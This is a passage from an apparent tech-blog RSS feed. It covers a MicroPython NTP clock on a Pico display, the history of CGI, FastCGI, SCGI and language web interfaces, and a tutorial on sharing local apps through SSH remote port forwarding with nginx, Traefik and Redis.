<pre><code class="hljs python"><span class="hljs-keyword">import</span> network
<span class="hljs-keyword">import</span> ntptime
<span class="hljs-keyword">import</span> time


wlan = network.WLAN(network.STA_IF)
wlan.active(<span class="hljs-literal">True</span>)
wlan.connect(<span class="hljs-string">'SSID'</span>, <span class="hljs-string">'secret'</span>)

<span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> wlan.isconnected():
    print(<span class="hljs-string">'WLAN is not ready\n'</span>)
    time.sleep(<span class="hljs-number">1</span>)

ntptime.host = <span class="hljs-string">'hu.pool.ntp.org'</span>
ntptime.settime()

wlan.disconnect()
</code></pre>
<p>And then we display it nicely:</p>
<pre><code class="hljs python"><span class="hljs-keyword">from</span> gfx_pack <span class="hljs-keyword">import</span> GfxPack


gp = GfxPack()
gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">40</span>)

<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    t = time.localtime()

    gp.display.set_pen(<span class="hljs-number">0</span>)
    gp.display.clear()
    gp.display.set_pen(<span class="hljs-number">15</span>)

    gp.display.set_font(<span class="hljs-string">'bitmap6'</span>)
    gp.display.text(<span class="hljs-string">f'<span class="hljs-subst">{t[<span class="hljs-number">0</span>]}</span>. <span class="hljs-subst">{t[<span class="hljs-number">1</span>]:<span class="hljs-number">02</span>}</span>. <span class="hljs-subst">{t[<span class="hljs-number">2</span>]:<span class="hljs-number">02</span>}</span>.'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>)

    gp.display.set_font(<span class="hljs-string">'bitmap14_outline'</span>)
    gp.display.text(<span class="hljs-string">f'<span class="hljs-subst">{t[<span class="hljs-number">3</span>]:<span class="hljs-number">02</span>}</span>:<span class="hljs-subst">{t[<span class="hljs-number">4</span>]:<span class="hljs-number">02</span>}</span>'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">20</span>)
    <span class="hljs-keyword">if</span> t[<span class="hljs-number">5</span>] % <span class="hljs-number">2</span>:
        gp.display.set_pen(<span class="hljs-number">15</span>)
    <span class="hljs-keyword">else</span>:
        gp.display.set_pen(<span class="hljs-number">0</span>)
    gp.display.text(<span class="hljs-string">':'</span>, <span class="hljs-number">32</span>, <span class="hljs-number">20</span>)

    gp.display.update()

    time.sleep_ms(<span class="hljs-number">30</span>)
</code></pre>
<p>Maybe even add some backlight to it to make it look a bit more like a Casio watch from the nineties.</p>
<pre><code class="hljs python">light_timeout = <span class="hljs-literal">None</span>
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> light_timeout <span class="hljs-keyword">and</span> gp.switch_pressed(SWITCH_E):
        light_timeout = time.time_ns() + <span class="hljs-number">2000000000</span>
        gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">180</span>, <span class="hljs-number">60</span>, <span class="hljs-number">140</span>)

    <span class="hljs-keyword">if</span> light_timeout <span class="hljs-keyword">and</span> light_timeout &lt; time.time_ns():
        light_timeout = <span class="hljs-literal">None</span>
        gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">40</span>)

    <span class="hljs-comment"># ...</span>
</code></pre>
<p>The final result (after adding some extra status information):</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2023/pico_clock.mp4" type="video/mp4" />
</video>

<p>Even for a prototype, it's still missing a lot of things, but unfortunately, this is as far as the project got in the first round. Also, MicroPython can't handle time zones, so we have to move to a country with a UTC timezone to use it.</p>
<p>What will happen to the clock after this? Will it go to the bottom of the drawer or will we see it in the future? Only time will tell.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Technologies left behind</title>
            <link>https://deadlime.hu/en/2023/11/24/technologies-left-behind/</link>
            <pubDate>Fri, 24 Nov 2023 17:24:08 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[HTTP]]></category>
                    <category><![CDATA[CGI]]></category>
                    <category><![CDATA[FastCGI]]></category>
                    <category><![CDATA[SCGI]]></category>
                    
            <guid isPermaLink="false">1979071ffe5bcdf0a72bfc4105e76a86</guid>
            <description>A brief history of the dynamic web from CGI to applications with built-in HTTP servers</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/deserted-computer.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>The year is 1993. You need to develop a dynamic website, let's say a guestbook, which was quite popular at the time. How would you go about it? If your answer is to google how to do it, I have sad news for you, Google won't be a thing for another 5 years. AltaVista is still two years away. Stack Overflow? Another 15 years... Sure it wasn't easy to be a developer in the old days.</p>
<p>Sometimes it's good to look back to those old days to see if we can avoid the mistakes they made or prevent us from reinventing the wheel. That was one of my motivators to go on an adventure and learn about how web development evolved into what we know today.</p>
<h3>Common Gateway Interface</h3>
<p>They started to develop it in the early 1990s and a little later it became <a href="https://datatracker.ietf.org/doc/html/rfc3875">RFC 3875</a>. As the name suggests, it is an interface between a web server and an application. What this means in practice is that if you have an arbitrary executable file, the web server can run it - after proper configuration - and return the output as a response.</p>
<p>The request data is received in environment variables and via standard input, and the response must be produced to the standard output, with small syntactic  restrictions (the response must start with a <code>Content-Type</code> header).</p>
<p>The advantage is that it's simple, just copy a file to a directory, make it executable and you're done. The disadvantage is that each request means starting a new process, which can be slow and doesn't scale very well.</p>
<p>The easiest way to detect such configurations was that these applications usually lived in the <code>/cgi-bin/</code> directory, which is still checked by automatic scanning tools today to see if they can find anything interesting there.</p>
<p>And when I said arbitrary executable, I meant it. Even a shell script can be the basis of a dynamic web page (if you are brave enough to parse query strings and <a href="https://stackoverflow.com/a/23517227">multipart requests</a> in a shell script):</p>
<pre><code class="hljs bash"><span class="hljs-meta">#!/bin/sh
</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Content-Type: text/plain"</span>
<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Hello World!"</span>

<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Environment:"</span>
env

<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Input:"</span>
cat -
<span class="hljs-built_in">echo</span>
</code></pre>
<p>If you call this endpoint, the following data will be returned:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> curl -d<span class="hljs-string">'foo=bar'</span> <span class="hljs-string">'http://127.0.0.1:8081/cgi-bin/test.sh?foo=bar'</span></span>
Hello World!

Environment:
CONTENT_TYPE=application/x-www-form-urlencoded
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.16.1
SHLVL=1
QUERY_STRING=foo=bar
HTTP_USER_AGENT=curl/7.88.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
REMOTE_PORT=51282
HTTP_ACCEPT=*/*
SERVER_SIGNATURE=
CONTENT_LENGTH=7
CONTEXT_DOCUMENT_ROOT=/usr/local/apache2/cgi-bin/
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/test.sh
HTTP_HOST=127.0.0.1:8081
REQUEST_URI=/cgi-bin/test.sh?foo=bar
SERVER_SOFTWARE=Apache/2.4.58 (Unix)
REQUEST_SCHEME=http
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=POST
SERVER_ADDR=192.168.16.2
SERVER_ADMIN=you@example.com
CONTEXT_PREFIX=/cgi-bin/
PWD=/usr/local/apache2/cgi-bin
SERVER_PORT=8081
SCRIPT_NAME=/cgi-bin/test.sh
SERVER_NAME=127.0.0.1

Input:
foo=bar
</code></pre>
<p>The names of the environment variables may be familiar, they have been adopted in many places, probably to ease the transition from CGI.</p>
<p>The possibilities are endless, I've thrown in a few extra examples in the <a href="https://github.com/deadlime/cgi-playground/tree/main/cgi-bin">related Github repository</a> (compiled binary from C code? Why not!), but Perl was probably the real star of the <code>cgi-bin</code> directory back then:</p>
<pre><code class="hljs perl"><span class="hljs-comment">#!/usr/bin/perl</span>

<span class="hljs-keyword">print</span> <span class="hljs-string">"Content-type: text/plain\n\nHello, World.\n"</span>;

<span class="hljs-keyword">print</span> <span class="hljs-string">"\nEnrivonment:\n"</span>;
<span class="hljs-keyword">foreach</span> <span class="hljs-keyword">my</span> $key (<span class="hljs-keyword">keys</span> %ENV) {
    <span class="hljs-keyword">print</span> <span class="hljs-string">"$key=$ENV{$key}\n"</span>;
}

<span class="hljs-keyword">print</span> <span class="hljs-string">"\nInput:\n"</span>;
<span class="hljs-keyword">while</span> (&lt;&gt;) {
    <span class="hljs-keyword">print</span>;
}
<span class="hljs-keyword">print</span> <span class="hljs-string">"\n"</span>;
</code></pre>
<p>Then in 1995, PHP arrived. At first, it was still a CGI script as well.</p>
<pre><code class="hljs php"><span class="hljs-comment">#!/usr/bin/php82</span>
<span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">print</span>(<span class="hljs-string">"Content-Type: text/plain\n\nHello World!\n"</span>);

<span class="hljs-keyword">print</span>(<span class="hljs-string">"\nEnvironment:\n"</span>);
var_dump($_SERVER);

<span class="hljs-keyword">print</span>(<span class="hljs-string">"\nInput:\n"</span>);
var_dump(file_get_contents(<span class="hljs-string">'php://stdin'</span>));
</code></pre>
<p>Here I was a bit surprised to find the correct data in the <code>$_SERVER</code> array and not in the <code>$_ENV</code> array, maybe it's the newer PHP, or maybe I should have called it differently for CGI scripts, I don't know. But it doesn't really matter, because we could soon leave the CGI behind.</p>
<h3>Alternative solutions</h3>
<h4>FastCGI</h4>
<p>Also around 1995, FastCGI was released, which aims to address the performance problems of CGI. Based on the <a href="https://metacpan.org/release/LEEJO/CGI-Fast-2.17/source/lib/CGI/Fast.pm#L43">CGI::Fast</a> package in Perl, it seems to work in several ways. A web server can start a CGI process in one or more instances, sending it FCGI requests on standard input and waiting for FCGI responses on standard output. It can also work by having the web server and the FCGI process communicate via a Unix socket or a regular network socket. The web server then converts the FCGI response to an HTTP response and you are done.</p>
<p>According to the protocol description, the web server can send multiple requests to a process at the same time, which the FCGI process can process in parallel if it supports it.</p>
<p>The advantage of this system is that it is easier to implement an FCGI server than an HTTP server (the original HTTP/1.0 <a href="https://datatracker.ietf.org/doc/html/rfc1945">RFC 1945</a> is 60 pages long, and the HTTP/1.1 <a href="https://datatracker.ietf.org/doc/html/rfc2068">RFC 2068</a> is 162 pages long). The disadvantage may be that there is a fairly trusting relationship between the web server and the FCGI server, so if someone else can accidentally talk to the FCGI server directly, it may not end well (for example, the FCGI server code may not handle malformed requests as well as the HTTP server, or it may be possible to bypass the authentication enforced by the web server this way).</p>
<p>As I mentioned, the <a href="https://www.mit.edu/~yandros/doc/specs/fcgi-spec.html">FastCGI protocol</a> is simpler than HTTP, so applications can more easily implement it. Just for fun, I quickly threw together <a href="https://github.com/deadlime/cgi-playground/blob/main/bin/fcgi_server.py">a simple Python FCGI server</a> that can return a similar response as our previous CGI scripts to any request.</p>
<h4>mod_php</h4>
<p>Around 1997, PHP 3 and the mod_php Apache module were released. At least based on my web archive findings, I concluded that mod_php came with PHP 3, but I'm not entirely sure. It's probably not that relevant to the story.</p>
<p>In the case of mod_php, the PHP interpreter runs inside the Apache process and executes the PHP files that way. The tighter integration has its advantages because you don't have to start a new process per request, but it has its drawbacks as well. The PHP interpreter still occupies memory even if the request is for a static file.</p>
<p>All in all, however, we can say it was quite successful, and to date, it is the recommended way to run PHP code with an Apache web server.</p>
<h4>Simple Common Gateway Interface</h4>
<p>FastCGI proved to be not simple enough, so a new competitor, SCGI, was introduced around 2001. The <a href="https://github.com/nascheme/scgi/blob/main/doc/protocol.txt">SCGI protocol</a> is much simpler, but only one request can be made on a connection at a time.</p>
<p>For comparison, I have written <a href="https://github.com/deadlime/cgi-playground/blob/main/bin/scgi_server.py">a simple little SCGI server</a> in Python as well that works similarly to the FastCGI server.</p>
<h4>FastCGI, second round</h4>
<p>In 2010, just over 15 years after the protocol's release, FastCGI support for PHP arrived in the form of the <a href="https://www.php.net/manual/en/install.fpm.php">FastCGI Process Manager</a> (FPM).</p>
<p>On top of that, some people got tired of Apache being too slow (a recurring theme throughout our story), and they brought us the Nginx web server in 2004. Now we have a decent alternative to Apache and mod_php in the form of Nginx and PHP-FPM.</p>
<h3>The world is changing</h3>
<p>As time went by, more and more languages wanted to be web-compatible. In 2003 came Python with <a href="https://peps.python.org/pep-0333/">WSGI</a>, and in 2004 Ruby on Rails was released, which could initially run as CGI, FastCGI, or later with mod_ruby. Then in 2007 came Rack, which is a similar interface to WSGI for Ruby.</p>
<p>This works roughly by getting the HTTP request data from somewhere (web server written in the language, CGI, FCGI, whatever), it is then transformed into a unified structure according to the web interface of the language, which is then received by the application.</p>
<p>For Python, for example, this might look like this:</p>
<pre><code>HTTP request -&gt; Gunicorn -&gt; WSGI environment -&gt; Flask -&gt; the code we wrote
</code></pre>
<p>For Ruby, something like this:</p>
<pre><code>HTTP request -&gt; Unicorn -&gt; Rack environment -&gt; Sinatra -&gt; the code we wrote
</code></pre>
<p>While in theory, the source of the HTTP request could be several things, in practice it seems that the web server written in the language of choice has been the winner. Interestingly, this is where we start to move away from the technologies that were previously invented. Why implement a complicated HTTP server when there is a simpler alternative? Wouldn't an FCGI or SCGI server have been enough? Who knows.</p>
<h3>Modern web development</h3>
<p>Around 2009, Node.js was released because again someone didn't like that Apache was too slow and couldn't handle enough requests. Go was also released around that time. Both languages included HTTP servers in their standard library, which I think decided how web applications would be developed in these languages.</p>
<p>The general solution was to write frameworks around the built-in HTTP server, and applications would use those frameworks, so each application became its own web server.</p>
<p>Of course, the world has changed a lot in that time. Large applications have been split up into many small applications, where it has become increasingly rare to return full or partial HTML pages (so much so that rendering templates on the server side is a novelty for the newer generation), and so the needs have changed as well.</p>
<p>There are usually already some proxies in front of applications (HAProxy, Nginx, Traefik, and others) that deal mostly with HTTP requests, so it would just be an extra (probably unnecessary) moving part in the system to have another HTTP server in front of the application, whose only job is to translate from HTTP to, say, FCGI.</p>
<p>There's a good chance that optimization doesn't matter as much as it used to either. You don't necessarily have to have the HTTP server written in C, a Python implementation can still provide the performance you need.</p>
<h3>Summary</h3>
<p>We've come a long way, and perhaps forgotten a lot during the journey, but the things mentioned above are still alive and well (or at least functional), you can even try them out with the related <a href="https://github.com/deadlime/cgi-playground">CGI playground</a> repository. There may even be cases where they are worth using. It would be a shame to waste a Kubernetes cluster on a problem that a CGI script can solve without an issue.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Light at the end of the tunnel</title>
            <link>https://deadlime.hu/en/2023/10/29/light-at-the-end-of-the-tunnel/</link>
            <pubDate>Sun, 29 Oct 2023 10:13:38 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Traefik]]></category>
                    <category><![CDATA[SSH]]></category>
                    
            <guid isPermaLink="false">20c6a99deec011d2a18fa140e39a29c2</guid>
            <description>Accessing your local machine from the Internet through SSH</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_and_pipes.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>It could happen that we want to give someone access to some stuff that's running on our computer. Say you're developing an application and you want to share the current state with someone without having to push every little change and then wait for the build to finish to see the changes on the staging environment.</p>
<p>Depending on the network, this can be a rather complicated operation (firewalls, port forwarding, NAT traversal). Perhaps that's why there are  services to solve this problem (<a href="https://github.com/anderspitman/awesome-tunneling">quite a few, actually</a>), but it wouldn't be a very interesting post if we'd go in that direction.</p>
<p>Rather, we will try to look for common household items that can solve this problem. One such tool is the SSH client, which almost everyone has at the bottom of their drawer (especially since it's been part of Windows for a while). In addition, we'll need a <del>parchment-lined baking sheet</del> publicly available server (like a cheap VPS from a cloud provider) and we're ready to get this party started.</p>
<h3>Easy mode</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_1.png" width="660" height="270" alt="" title="" loading="lazy" />
</p>

<p>Say, we have an application on the local machine that waits for incoming connections at <code>127.0.0.1:8080</code>. We will simulate this with a simple Python HTTP server:</p>
<pre><code class="hljs shell">local:~$ mkdir fake-app
local:~$ cd fake-app
local:~/fake-app$ echo 'hello world' &gt;index.html
local:~/fake-app$ python -m http.server -b 127.0.0.1 8080
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...
</code></pre>
<p>Let's grab another terminal and try it out:</p>
<pre><code class="hljs shell">local:~$ curl 127.0.0.1:8080
hello world
</code></pre>
<p>We also have a VPS, which we named <code>tunnel.example.org</code>. With this setup, we can issue the following command on our local machine:</p>
<pre><code class="hljs shell">local:~$ ssh -R 8080:127.0.0.1:8080 user@tunnel.example.org
</code></pre>
<p>This will allow us to access our local application on the tunnel machine on port <code>8080</code> (SSH remote port forwarding). You can try this on the tunnel machine:</p>
<pre><code class="hljs shell">tunnel:~$ curl 127.0.0.1:8080
hello world
</code></pre>
<p>SSH will bind to <code>127.0.0.1</code> on the server (probably for security reasons), so we won't be able to access the application from outside, even if our firewall rules would otherwise allow it.</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org:8080
curl: (7) Failed to connect to tunnel.example.org port 8080 after 30 ms: Couldn't connect to server
</code></pre>
<p>This can be circumvented by changing <code>GatewayPorts</code> in <code>/etc/ssh/sshd_config</code> to <code>clientspecified</code> and slightly modifying our ssh command:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0.0.0.0:8080:127.0.0.1:8080 user@tunnel.example.org
</code></pre>
<p>Now this should work if you also have the right firewall settings:</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org:8080
hello world
</code></pre>
<p>It may be a good solution for your own use, but it would be a bit more elegant to stick with the first version and start an nginx on the tunnel machine instead, which forwards requests to <code>127.0.0.1:8080</code>:</p>
<pre class="file"><code>/etc/nginx/sites-available/tunnel
</code></pre>
<pre><code>server {
    listen 80;
    server_name tunnel.example.org;

    location / {
        proxy_pass http://127.0.0.1:8080/;
    }
}
</code></pre>
<p>Enabling the site and reloading the nginx configuration:</p>
<pre><code class="hljs shell">tunnel:~# ln -s /etc/nginx/sites-available/tunnel /etc/nginx/sites-enabled/
tunnel:~# systemctl reload nginx
</code></pre>
<p>And we're done:</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org
hello world
</code></pre>
<p>Maybe nginx seems like overkill in this situation, but once it's there, we can use it for other things as well:</p>
<ul>
<li>a custom error page if the local application is not running or we are not connected via ssh</li>
<li>logging</li>
<li>HTTPS between nginx and external clients</li>
<li>mTLS between the local application and nginx (this would probably need another nginx on the local machine as well)</li>
<li>basic authentication for external clients</li>
</ul>
<p>There you have it, our simple solution, using a not-too-complicated SSH command to share your local application with others. The only drawback is that only one person can use it to share only one application on a fixed address. Probably 99% of the time this will be enough, but let's look at a slightly more complicated solution. Just for the fun of it.</p>
<h3>Advanced mode</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_2.png" width="660" height="270" alt="" title="" loading="lazy" />
</p>

<p>There is a nice feature in the SSH client that if you set the remote port to zero in the command then it will listen on a random port on the remote machine:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0:127.0.0.1:8080 user@tunnel.example.org
Allocated port 41025 for remote forward to 127.0.0.1:8080

[...]
</code></pre>
<p>So, we could do something like generating a random host when connecting (<code>&lt;random&gt;.tunnel.example.org</code>), and nginx would forward requests coming to this random host to the appropriate port on the tunnel machine. This would solve our one-person/one-application problem.</p>
<p>As far as I can tell, nginx does not excel at dynamic configurations. You could generate files and reload nginx, but this solution does not appeal to me so much. Then I remembered that Traefik is nice and dynamic, it has a provider that can configure things <a href="https://doc.traefik.io/traefik/providers/redis/">based on Redis key-values</a>, so I started to go in that direction.</p>
<p>The Traefik installation is not too friendly if you don't want to use Docker. But Docker (Swarm) on the other hand is not too friendly in accessing services listening on <code>127.0.0.1</code> on the host machine, so we're still better off with that.</p>
<p>There's nothing left to do but download the binary and run it somehow.</p>
<pre><code class="hljs shell">tunnel:~# mkdir -p /opt/traefik
tunnel:~# cd /opt/traefik
tunnel:/opt/traefik# wget https://github.com/traefik/traefik/releases/download/v2.10.5/traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# tar -xf traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# rm traefik_v2.10.5_linux_amd64.tar.gz
</code></pre>
<p>My first thought was just to get away with running a <code>./traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80 &amp;</code> command and let it do its things in the background. That would be enough to test things, but in the end, I just created a systemd service file for it.</p>
<pre class="file"><code>/etc/systemd/system/traefik.service
</code></pre>
<pre><code>[Unit]
Description=traefik
After=network-online.target
Wants=network-online.target systemd-networkd-wait-online.service

[Service]
Restart=on-abnormal
User=traefik
Group=traefik
ExecStart=/opt/traefik/traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
NoNewPrivileges=true
</code></pre>
<p>To make it work, we need a <code>traefik</code> user and group, and a Redis server.</p>
<pre><code class="hljs shell">tunnel:~# adduser --disabled-login --disabled-password --no-create-home traefik
tunnel:~# apt-get install redis-server
</code></pre>
<p>Then we just have to reload the systemd related things.</p>
<pre><code class="hljs shell">tunnel:~# systemctl daemon-reload
tunnel:~# systemctl start traefik.service
</code></pre>
<p>First of all, I wanted to reproduce the original behavior before I started to figure out the dynamic parts, so I set the following key-value pairs in Redis:</p>
<pre><code>tunnel:~# redis-cli
127.0.0.1:6379&gt; SET traefik/http/services/tunnel-service/loadbalancer/servers/0/url http://127.0.0.1:8080/
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/rule Host(`tunnel.example.org`)
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/entrypoints/0 web
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/service tunnel-service
</code></pre>
<p>We have a service listening on <code>127.0.0.1:8080</code> and a router rule that directs requests to <code>tunnel.example.org</code> on port <code>80</code> (the <code>web</code> entry point defined when we started Traefik) to our service. Fortunately, this worked just like the original nginx solution, so we're ready to dynamize.</p>
<p>My idea was based on the fact that you could specify a custom command in the <code>authorized_keys</code> file that runs on every SSH connection (this is how Git pull/push works over SSH, for example). Here you could specify a small shell script that would add the appropriate key-value pairs to Redis, and then just wait until the user closes the connection. On closing, it would clean up the Redis keys that were generated.</p>
<p>To do this, you may want to add a separate user so that you can continue to use SSH traditionally with your original user:</p>
<pre><code class="hljs shell">tunnel:~# adduser --disabled-password mole
</code></pre>
<p>In the <code>authorized_keys</code> file, we add a line with our SSH key:</p>
<pre class="file"><code>/home/mole/.ssh/authorized_keys
</code></pre>
<pre><code>command=&quot;/home/mole/tunnel.sh&quot;,no-X11-forwarding,no-agent-forwarding &lt;SSH key&gt;
</code></pre>
<p>The command would have a structure like this:</p>
<pre class="file"><code>/home/mole/tunnel.sh
</code></pre>
<pre><code class="hljs bash"><span class="hljs-comment">#!/bin/bash -e</span>

<span class="hljs-function"><span class="hljs-title">setup</span></span>() {
    <span class="hljs-comment"># setup</span>
}

<span class="hljs-function"><span class="hljs-title">cleanup</span></span>() {
    <span class="hljs-comment"># cleanup</span>
    <span class="hljs-built_in">exit</span> 0
}

<span class="hljs-built_in">trap</span> <span class="hljs-string">'cleanup'</span> INT

setup
tail -f /dev/null
</code></pre>
<p>An important feature here is the <code>trap 'cleanup' INT</code>, which can catch the closing of our connection script with <kbd>Ctrl</kbd>+<kbd>C</kbd> so we can run our cleanup code. The <code>tail -f /dev/null</code> part just waits till the end of time.</p>
<p>Of course, we also need to make this file executable:</p>
<pre><code>tunnel:~# chmod +x /home/mole/tunnel.sh
</code></pre>
<p>Now we just need to find the ports that the current SSH connection has opened. To do this, we need the ID of the sshd process, which is the parent of our running script, so we can get it with the following command:</p>
<pre><code class="hljs shell">tunnel:~$ grep PPid /proc/$$/status | awk '{ print $2 }'
123263
</code></pre>
<p>In bash, <code>$$</code> is the current process ID, and the <code>/proc</code> directory contains a lot of interesting informations once you know the process ID.</p>
<p>We have the parent process ID, now we just need to find information about the sockets. <code>lsof</code> is a great tool for this, the only problem is that it only returns the information we need for the root user.</p>
<p>As a test, I added the <code>mole</code> user to sudoers to be able to run <code>lsof</code> as <code>root</code>, but I don't know if this is a good idea from a security point of view (for example, if <code>lsof</code> has some lesser-known feature to get a root shell out of it).</p>
<pre class="file"><code>/etc/sudoers.d/10-mole-lsof
</code></pre>
<pre><code>mole ALL=(root) NOPASSWD: /usr/bin/lsof
</code></pre>
<p>So, now we can get the information we need:</p>
<pre><code class="hljs shell">tunnel:~$ sudo lsof -a -nPi4 -sTCP:LISTEN -p 123263
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd    123263 mole    9u  IPv4 1569356      0t0  TCP 127.0.0.1:45991 (LISTEN)
sshd    123263 mole   11u  IPv4 1569360      0t0  TCP 127.0.0.1:39421 (LISTEN)
</code></pre>
<p>It has quite a few flags, <code>-a</code> indicates that you want AND relation between the filters, <code>-n</code> tells it not to make hostnames out of IP addresses, <code>-P</code> tells it not to make port numbers into port names, <code>-i</code> filters for IPv4 connections, <code>-s</code> filters for servers listening on TCP, and <code>-p</code> is used to specify the process id. With a little bit of <code>awk</code> magic, you'll quickly have <code>ip:port</code> pairs:</p>
<pre><code class="hljs shell">tunnel:~$ sudo lsof -nPi4 -sTCP:LISTEN -p 123263 -a | awk '/127.0.0.1:/ { print $9 }'
127.0.0.1:45991
127.0.0.1:39421
</code></pre>
<p>This gives us all the details we need to put together our script:</p>
<pre class="file"><code>/home/mole/tunnel.sh
</code></pre>
<pre><code class="hljs bash"><span class="hljs-comment">#!/bin/bash -e</span>
PID=$(grep PPid /proc/$$/status | awk <span class="hljs-string">'{ print $2 }'</span>)

<span class="hljs-built_in">declare</span> -A mapping
<span class="hljs-keyword">for</span> app <span class="hljs-keyword">in</span> $(sudo lsof -a -nPi4 -sTCP:LISTEN -p <span class="hljs-variable">$PID</span> | awk <span class="hljs-string">'/127.0.0.1:/ { print $9 }'</span>); <span class="hljs-keyword">do</span>
  mapping[$(pwgen -A0sBv 10 1)]=<span class="hljs-string">"<span class="hljs-variable">$app</span>"</span>
<span class="hljs-keyword">done</span>

<span class="hljs-function"><span class="hljs-title">setup</span></span>() {
    <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${!mapping[@]}</span>"</span>; <span class="hljs-keyword">do</span>
        redis-cli &lt;&lt;EOF &gt;/dev/null
MULTI
SET traefik/http/services/<span class="hljs-variable">${key}</span>-service/loadbalancer/servers/0/url http://<span class="hljs-variable">${mapping[$key]}</span>/
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/rule Host(\`<span class="hljs-variable">${key}</span>.tunnel.example.org\`)
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/entrypoints/0 web
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/service <span class="hljs-variable">${key}</span>-service
EXEC
EOF
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"http://<span class="hljs-variable">${key}</span>.tunnel.example.org/ -&gt; <span class="hljs-variable">${mapping[$key]}</span>"</span>
    <span class="hljs-keyword">done</span>
}

<span class="hljs-function"><span class="hljs-title">cleanup</span></span>() {
    <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${!mapping[@]}</span>"</span>; <span class="hljs-keyword">do</span>
        redis-cli &lt;&lt;EOF &gt;/dev/null
MULTI
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/rule
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/entrypoints/0
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/service
DEL traefik/http/services/<span class="hljs-variable">${key}</span>-service/loadbalancer/servers/0/url
EXEC
EOF
    <span class="hljs-keyword">done</span>
    <span class="hljs-built_in">exit</span> 0
}

<span class="hljs-built_in">trap</span> <span class="hljs-string">'cleanup'</span> INT

setup
tail -f /dev/null
</code></pre>
<p>The only thing left to do is to try it out:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0:127.0.0.1:8080 -R 0:127.0.0.1:8081 mole@tunnel.example.org
Allocated port 34021 for remote forward to 127.0.0.1:8080
Allocated port 39097 for remote forward to 127.0.0.1:8081
http://dkchdfskxz.tunnel.example.org/ -&gt; 127.0.0.1:34021
http://kzhrwsmgqk.tunnel.example.org/ -&gt; 127.0.0.1:39097
</code></pre>
<p>Also, in another terminal, we can check out the HTTP request:</p>
<pre><code class="hljs shell">local:~$ curl http://dkchdfskxz.tunnel.example.org/
hello world
</code></pre>
<p>As you can see, we can only tell what the random port is that sshd has assigned to us on the tunnel side, we don't know what port it corresponds to on the local machine. Luckily the SSH client prints it out, so we can put the whole chain together, but it can be a bit inconvenient with multiple remote forwards.</p>
<p>Of course, there is still a lot of room for improvement here as well, such as:</p>
<ul>
<li>making sure that the random generated by <code>pwgen</code> does not already exist in Redis</li>
<li>a periodic cleanup script to delete stuck Redis keys that are no longer working</li>
<li>HTTPS, mTLS, authentication</li>
</ul>
<h3>Summary</h3>
<p>As is usually the case, it is probably not worth building your own solution from scratch for a system used daily by several people, when there are so many ready-made solutions available. However, it can never hurt to know how such a system works under the hood.</p>
<p>It may be worth keeping in mind the easy mode trick, it may even prove useful in the future. SSH is a fantastic thing.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Lost in the network</title>
